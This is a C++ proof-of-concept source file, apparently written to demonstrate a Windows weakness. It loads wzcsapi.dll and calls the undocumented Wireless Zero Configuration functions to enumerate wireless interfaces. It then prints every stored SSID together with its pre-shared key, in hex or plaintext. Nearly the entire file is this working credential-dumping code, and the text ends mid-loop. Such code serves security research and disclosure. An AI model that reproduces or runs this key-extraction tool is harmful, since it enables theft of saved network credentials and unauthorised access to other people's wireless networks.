//The code is not perfect, but demonstrates the given problem. If the API
//is changed the code can be easily broken.
//The code is released under GPL (http://www.gnu.org/licenses/gpl.html), by Laszlo Toth.
//Use the code at your own responsibility.

#include "stdafx.h"

#include <string.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <wchar.h>

struct GUID_STRUCT{
//How many wireless cards are in the PC?
int count;
wchar_t** guids_ar;
}guids;

struct PSK_STRUCT{
char ssid[92];
int psk_length;
unsigned char psk[32];
char other[584];
};

struct SSIDS_STRUCT{
//How many profile are configured?
int count;
char other[24];
PSK_STRUCT psk;
};

struct INTF_ENTRY_STRUCT{
wchar_t* guid;
char other[72];
SSIDS_STRUCT* ssidlist;
char other2[10000];
}iestr;

typedef int (WINAPI* PQUERYI)(void*, int, void*, void*);
typedef int (WINAPI* PENUMI)(void*, GUID_STRUCT*);

int _tmain(int argc, _TCHAR* argv[])
{
//Load wzcsapi to use the implemented RPC interface of Wireless Zero
//Configuration Service
HMODULE hMod = LoadLibrary ("wzcsapi.dll");
if (NULL == hMod)
{
printf ("LoadLibrary failed\n");
return 1;
}

//Get the address of the WZCEnumInterfaces. We need the guid of the
//wireless devices.
PENUMI pEnumI = (PENUMI) GetProcAddress (hMod, "WZCEnumInterfaces");
if (NULL == pEnumI)
{
printf ("GetProcAddress pEnumI failed\n");
return 1;
}

//The call of WZCEnumInterfaces
int ret=pEnumI(NULL, &guids);
if (ret!=0){
printf("WZCEnumInterfaces failed!\n");
return 1;
}

//Get the address of the WZCQueryInterface
PQUERYI pQueryI = (PQUERYI) GetProcAddress (hMod, "WZCQueryInterface");
if (NULL == pQueryI)
{
printf ("GetProcAddress pQueryI failed\n");
return 1;
}

int j;
for(j=0;j<guids.count;j++){
wprintf(L"%s\n",guids.guids_ar[j]);
//memset(&iestr,0,sizeof(iestr));
iestr.guid=guids.guids_ar[j];

DWORD dwOutFlags=0;

//This was the debugged value of the second parameter.
//int ret=pQueryI(NULL,0x040CFF0F, ie, &dwOutFlags);

ret=pQueryI(NULL,0xFFFFFFFF, &iestr, &dwOutFlags);
if (ret!=0){
printf("WZCQueryInterface failed!\n");
return 1;
}

//This code is still messy...
if (iestr.ssidlist==NULL){
wprintf(L"There is no SSIDS for: %s!\n", iestr.guid);
}else{

PSK_STRUCT* temp=&(iestr.ssidlist->psk);
int i=0;
for(i=0;i<iestr.ssidlist->count;i++){
if(32==temp->psk_length){
printf("%s:",temp->ssid);
for(int j=0; j<32; j++){
printf("%02x",temp->psk[j]);
}
printf("\n");
}else{
printf("%s:%s\n",temp->ssid, temp->psk);
}
temp++;
}
}